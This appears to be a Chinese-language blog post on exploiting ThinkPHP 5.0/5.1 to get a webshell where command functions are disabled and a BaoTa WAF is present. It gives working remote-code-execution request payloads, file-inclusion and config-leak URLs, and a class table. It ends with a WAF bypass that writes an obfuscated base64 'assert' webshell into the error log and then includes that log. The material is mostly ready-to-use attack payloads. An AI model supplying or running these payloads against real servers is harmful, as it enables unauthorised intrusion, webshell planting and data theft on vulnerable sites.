ThinkPHP被禁用命令执行函数情况下+宝塔waf下的getshell
ThinkPHP被禁用命令执行函数情况下+宝塔waf下的getshell
ThinkPHP简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP 漏洞
ThinkPHP命令执行
ThinkPHP 代码执行1
>影响版本:5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
-
漏洞利用Exp:
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
# 或者
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
ThinkPHP 代码执行2
5.0.x
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
ThinkPHP 代码执行可利用类
| ThinkPHP5.1.x | ThinkPHP5.0.x |
| stdClass | stdClass |
| Exception | Exception |
| ErrorException | ErrorException |
| Closure | Closure |
| Generator | Generator |
| DateTime | DateTime |
| DateTimeImmutable | DateTimeImmutable |
| DateTimeZone | DateTimeZone |
| DateInterval | DateInterval |
| DatePeriod | DatePeriod |
| LibXMLError | LibXMLError |
| DOMException | DOMException |
| DOMStringList | DOMStringList |
| DOMNameList | DOMNameList |
| DOMImplementationList | DOMImplementationList |
| DOMImplementationSource | DOMImplementationSource |
| DOMImplementation | DOMImplementation |
| DOMNode | DOMNode |
| DOMNameSpaceNode | DOMNameSpaceNode |
| DOMDocumentFragment | DOMDocumentFragment |
| DOMDocument | DOMDocument |
| DOMNodeList | DOMNodeList |
| DOMNamedNodeMap | DOMNamedNodeMap |
| DOMCharacterData | DOMCharacterData |
| DOMAttr | DOMAttr |
| DOMElement | DOMElement |
| DOMText | DOMText |
| DOMComment | DOMComment |
| DOMTypeinfo | DOMTypeinfo |
| DOMUserDataHandler | DOMUserDataHandler |
| DOMDomError | DOMDomError |
| DOMErrorHandler | DOMErrorHandler |
| DOMLocator | DOMLocator |
| DOMConfiguration | DOMConfiguration |
| DOMCdataSection | DOMCdataSection |
| DOMDocumentType | DOMDocumentType |
| DOMNotation | DOMNotation |
| DOMEntity | DOMEntity |
| DOMEntityReference | DOMEntityReference |
| DOMProcessingInstruction | DOMProcessingInstruction |
| DOMStringExtend | DOMStringExtend |
| DOMXPath | DOMXPath |
| finfo | finfo |
| LogicException | LogicException |
| BadFunctionCallException | BadFunctionCallException |
| BadMethodCallException | BadMethodCallException |
| DomainException | DomainException |
| InvalidArgumentException | InvalidArgumentException |
| LengthException | LengthException |
| OutOfRangeException | OutOfRangeException |
| RuntimeException | RuntimeException |
| OutOfBoundsException | OutOfBoundsException |
| OverflowException | OverflowException |
| RangeException | RangeException |
| UnderflowException | UnderflowException |
| UnexpectedValueException | UnexpectedValueException |
| RecursiveIteratorIterator | RecursiveIteratorIterator |
| IteratorIterator | IteratorIterator |
| FilterIterator | FilterIterator |
| RecursiveFilterIterator | RecursiveFilterIterator |
| CallbackFilterIterator | CallbackFilterIterator |
| RecursiveCallbackFilterIterator | RecursiveCallbackFilterIterator |
| ParentIterator | ParentIterator |
| LimitIterator | LimitIterator |
| CachingIterator | CachingIterator |
| RecursiveCachingIterator | RecursiveCachingIterator |
| NoRewindIterator | NoRewindIterator |
| AppendIterator | AppendIterator |
| InfiniteIterator | InfiniteIterator |
| RegexIterator | RegexIterator |
| RecursiveRegexIterator | RecursiveRegexIterator |
| EmptyIterator | EmptyIterator |
| RecursiveTreeIterator | RecursiveTreeIterator |
| ArrayObject | ArrayObject |
| ArrayIterator | ArrayIterator |
| RecursiveArrayIterator | RecursiveArrayIterator |
| SplFileInfo | SplFileInfo |
| DirectoryIterator | DirectoryIterator |
| FilesystemIterator | FilesystemIterator |
| RecursiveDirectoryIterator | RecursiveDirectoryIterator |
| GlobIterator | GlobIterator |
| SplFileObject | SplFileObject |
| SplTempFileObject | SplTempFileObject |
| SplDoublyLinkedList | SplDoublyLinkedList |
| SplQueue | SplQueue |
| SplStack | SplStack |
| SplHeap | SplHeap |
| SplMinHeap | SplMinHeap |
| SplMaxHeap | SplMaxHeap |
| SplPriorityQueue | SplPriorityQueue |
| SplFixedArray | SplFixedArray |
| SplObjectStorage | SplObjectStorage |
| MultipleIterator | MultipleIterator |
| SessionHandler | SessionHandler |
| ReflectionException | ReflectionException |
| Reflection | Reflection |
| ReflectionFunctionAbstract | ReflectionFunctionAbstract |
| ReflectionFunction | ReflectionFunction |
| ReflectionParameter | ReflectionParameter |
| ReflectionMethod | ReflectionMethod |
| ReflectionClass | ReflectionClass |
| ReflectionObject | ReflectionObject |
| ReflectionProperty | ReflectionProperty |
| ReflectionExtension | ReflectionExtension |
| ReflectionZendExtension | ReflectionZendExtension |
| __PHP_Incomplete_Class | __PHP_Incomplete_Class |
| php_user_filter | php_user_filter |
| Directory | Directory |
| SimpleXMLElement | SimpleXMLElement |
| SimpleXMLIterator | SimpleXMLIterator |
| SoapClient | SoapClient |
| SoapVar | SoapVar |
| SoapServer | SoapServer |
| SoapFault | SoapFault |
| SoapParam | SoapParam |
| SoapHeader | SoapHeader |
| PharException | PharException |
| Phar | Phar |
| PharData | PharData |
| PharFileInfo | PharFileInfo |
| XMLReader | XMLReader |
| XMLWriter | XMLWriter |
| ZipArchive | ZipArchive |
| PDOException | PDOException |
| PDO | PDO |
| PDOStatement | PDOStatement |
| PDORow | PDORow |
| CURLFile | CURLFile |
| Collator | Collator |
| NumberFormatter | NumberFormatter |
| Normalizer | Normalizer |
| Locale | Locale |
| MessageFormatter | MessageFormatter |
| IntlDateFormatter | IntlDateFormatter |
| ResourceBundle | ResourceBundle |
| Transliterator | Transliterator |
| IntlTimeZone | IntlTimeZone |
| IntlCalendar | IntlCalendar |
| IntlGregorianCalendar | IntlGregorianCalendar |
| Spoofchecker | Spoofchecker |
| IntlException | IntlException |
| IntlIterator | IntlIterator |
| IntlBreakIterator | IntlBreakIterator |
| IntlRuleBasedBreakIterator | IntlRuleBasedBreakIterator |
| IntlCodePointBreakIterator | IntlCodePointBreakIterator |
| IntlPartsIterator | IntlPartsIterator |
| UConverter | UConverter |
| JsonIncrementalParser | JsonIncrementalParser |
| mysqli_sql_exception | mysqli_sql_exception |
| mysqli_driver | mysqli_driver |
| mysqli | mysqli |
| mysqli_warning | mysqli_warning |
| mysqli_result | mysqli_result |
| mysqli_stmt | mysqli_stmt |
| think\Loader | think\Loader |
| think\Error | think\Error |
| think\Container | think\Config |
| think\App | think\App |
| think\Env | think\Request |
| think\Config | think\Hook |
| think\Hook | think\Env |
| think\Facade | think\Lang |
| think\facade\Env | think\Log |
| env | think\Route |
| think\Db | |
| think\Lang | |
| think\Request | |
| think\facade\Route | |
| route | |
| think\Route | |
| think\route\Rule | |
| think\route\RuleGroup | |
| think\route\Domain | |
| think\route\RuleItem | |
| think\route\RuleName | |
| think\route\Dispatch | |
| think\route\dispatch\Url | |
| think\route\dispatch\Module | |
| think\Middleware | |
| think\Cookie | |
| think\View | |
| think\view\driver\Think | |
| think\Template | |
| think\template\driver\File | |
| think\Log | |
| think\log\driver\File | |
| think\Session | |
| think\Debug | |
| think\Cache | |
| think\cache\Driver | |
| think\cache\driver\File |
ThinkPHP 5.0 .x 绕过宝塔
-
第一种—不拒绝POST数据包/index.php?s=captchaPOST:_method=__construct&&filter[]=think__include_file&method=GET&GET[]=../runtime/log/202017.log

重点在于包含那个日志,所以生成错误日志方式:必须Brupsuite抓包然后发送数据:

/index.php?s=captch&aaa=<?php $ant=base64_decode("YXNzZXJ0");$ant(base64_decode(${"_PO"."ST"}["sb"]));?>POST:_method=__construct&&filter[]=system&method=GET&GET[]=whoami

2.第二种—-拒绝POST数据包

/?s=index/think\Lang/load&file=../runtime/log/20200217.log

3.路径
?s=index/think\Log/getLog

参考:https://github.com/Mochazz/ThinkPHP-Vuln

浙公网安备 33010602011771号